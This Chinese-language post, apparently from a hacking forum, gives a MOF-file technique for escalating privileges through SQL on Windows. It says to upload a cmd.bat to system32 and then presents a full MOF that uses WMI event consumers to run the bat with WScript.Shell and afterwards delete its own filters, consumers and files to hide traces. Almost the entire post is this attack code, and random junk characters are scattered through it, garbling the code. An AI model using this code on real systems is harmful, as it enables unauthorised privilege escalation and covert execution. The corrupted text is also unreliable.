这个sql提权MOF需要运行 system下的文件,不能定义路径。) e) s* R5 |+ s' M3 u o+ T. k
需要将要运行的命令写入到bat上传到system32目录,然后执行。8 \% ]9 W; w+ k1 f
+ i y, N* b( h/ j; B
这个sql提权MOF需要运行 system下的文件,不能定义路径。
* B" i. c, S! N" A2 ~" L需要将要运行的命令写入到bat上传到system32目录,然后执行。
* h+ j! H- s. t5 u
6 ]2 H: ?& ~" S8 j2 O: j#pragma9 A5 O) S1 C" c; Q2 m
namespace("\\\\.\\root\\cimv2")
n) ]$ i" r5 K. n6 w; x% \ class
7 ^6 o8 J4 Z2 i- |* \2 T6 x MyClass5475 g3 i7 L& e1 u) Y
{ [key]% c% Z" `" Z9 W( l
string4 \% _# M: E' e7 b( z
Name;
) |) u, `( ?! e6 J4 q2 i };, T, q7 |+ ?) H6 v {. `
class
2 n M+ E2 ?* j# A* X ActiveScriptEventConsumer2 K/ `+ V. P9 y3 P
: __EventConsumer { [key]
7 F- ]- K: e" N7 l: \2 C string8 C5 [' m+ ^$ D0 ?$ m& L4 B
Name; [not_null]( q- J8 f) X1 E% B7 P2 m
string
% S( I) K4 k7 a( q/ g5 O& q3 {7 \ ScriptingEngine; string
! ]# P2 K9 S6 ? ScriptFileName; [template]" o# i& I8 {" O2 q$ i' G5 u- F
string
2 G! a9 X. Z9 ]0 a1 Y ScriptText; uint32 KillTimeout;( A) ^3 |3 ] p* Y' m; a0 w
}; instance of __Win32Provider as $P {7 K* m" u; I9 p3 F3 h6 u
Name
- m, s- g% h) o =
( X4 C. N3 t$ H% ~! O "ActiveScriptEventConsumer"; CLSID =; f; u$ k) A) V: x, D5 N
"{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";
" N* h) v0 {4 y+ l8 E7 o' N2 } PerUserInitialization' ~: T6 O* j5 F# v6 y; Q7 `
= TRUE;
3 n6 f8 r5 ?) E" h% I( j+ z }; instance of __EventConsumerProviderRegistration { Provider- [+ x, {) q" @2 H* D6 G+ N3 G
= $P; ConsumerClassNames
6 F/ ?( [; K2 K. } =
4 z) L9 I& f6 r" E6 K/ u: O {"ActiveScriptEventConsumer"};
2 u/ }( o2 [, R* A8 b. Z };: x5 q& l8 T% |, A: h
Instance of ActiveScriptEventConsumer$ ^8 e# c, M7 O( _% \" w' q8 C5 r
as $cons { Name
% t w: v1 V* c$ v1 z& o+ Y7 [ =: |- T0 P% }7 ?: ~, P- M
"ASEC"; ScriptingEngine6 @# z* Z0 W# }
=+ d' F& Y$ ]4 G! }" @6 a
"JScript"; ScriptText4 S2 ?* U& ~7 k3 g3 }; q8 _
=+ R5 Y; i8 R* o D$ d7 f) l; ]
"\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};"; };7 y$ B p4 U- j) ?
Instance of ActiveScriptEventConsumer U' U1 L+ l4 O' H' v* a/ D/ I0 i) j
as $cons2 { Name
: V" e G9 N0 B6 \$ K =- E4 F5 m" i9 Y: Q) T; l/ j/ s, [
"qndASEC"; ScriptingEngine& _( i$ r+ G; ^$ `% r) W. R. d
=
D ^2 e1 H. Z) f& ]& ~ "JScript"; ScriptText
- s, O! f1 `8 g( ]) O, M# @8 q =; N$ q# F; Z5 w' ?
"\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";! w0 z8 v; U [
}; instance of __EventFilter as $Filt { Name, m8 H. O% b% K
=% j1 a3 c! d. r$ {- N
"instfilt"; Query+ f( K4 v/ z0 y" \+ Q% B
=
2 m, c6 z' ]4 o/ S "SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\""; QueryLanguage
. q3 H5 x* r2 s9 D& p% | =
* K9 z& r( P9 R. o4 c "WQL"; }; instance of __EventFilter as $Filt2 { Name
( u4 w- ]2 T$ w, D1 K, G$ g =
' e8 p# s6 I/ q9 ]2 ^0 t W "qndfilt"; Query. ~0 n3 Z- b$ {
=/ W) P, S. V0 I
"SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\""; QueryLanguage* M- U/ S7 j" {, Q
=% U/ {3 s! p! l. x+ \; p% @# c2 ~
"WQL"; }; instance of __FilterToConsumerBinding as $bind { Consumer
6 G) v! s1 s. T( ?6 h5 m = $cons; Filter7 m V2 B, E; o# n
= $Filt;
% ^% p2 s; Y6 l0 n' B$ I }; instance of __FilterToConsumerBinding as $bind2 { Consumer
0 [" t% D. g; G1 Y: { = $cons2; Filter0 p' j/ m8 P3 i2 `' N$ w
= $Filt2; \( ~: _ I- U& x# A% Z8 L& X/ N
}; instance of MyClass547
- w, L7 {9 J. }7 K as $MyClass { Name
: }9 X0 t5 o# N* J8 h4 J =
+ O/ t. F' g; A "ClassConsumer";
5 T& f* P* @# ` }; |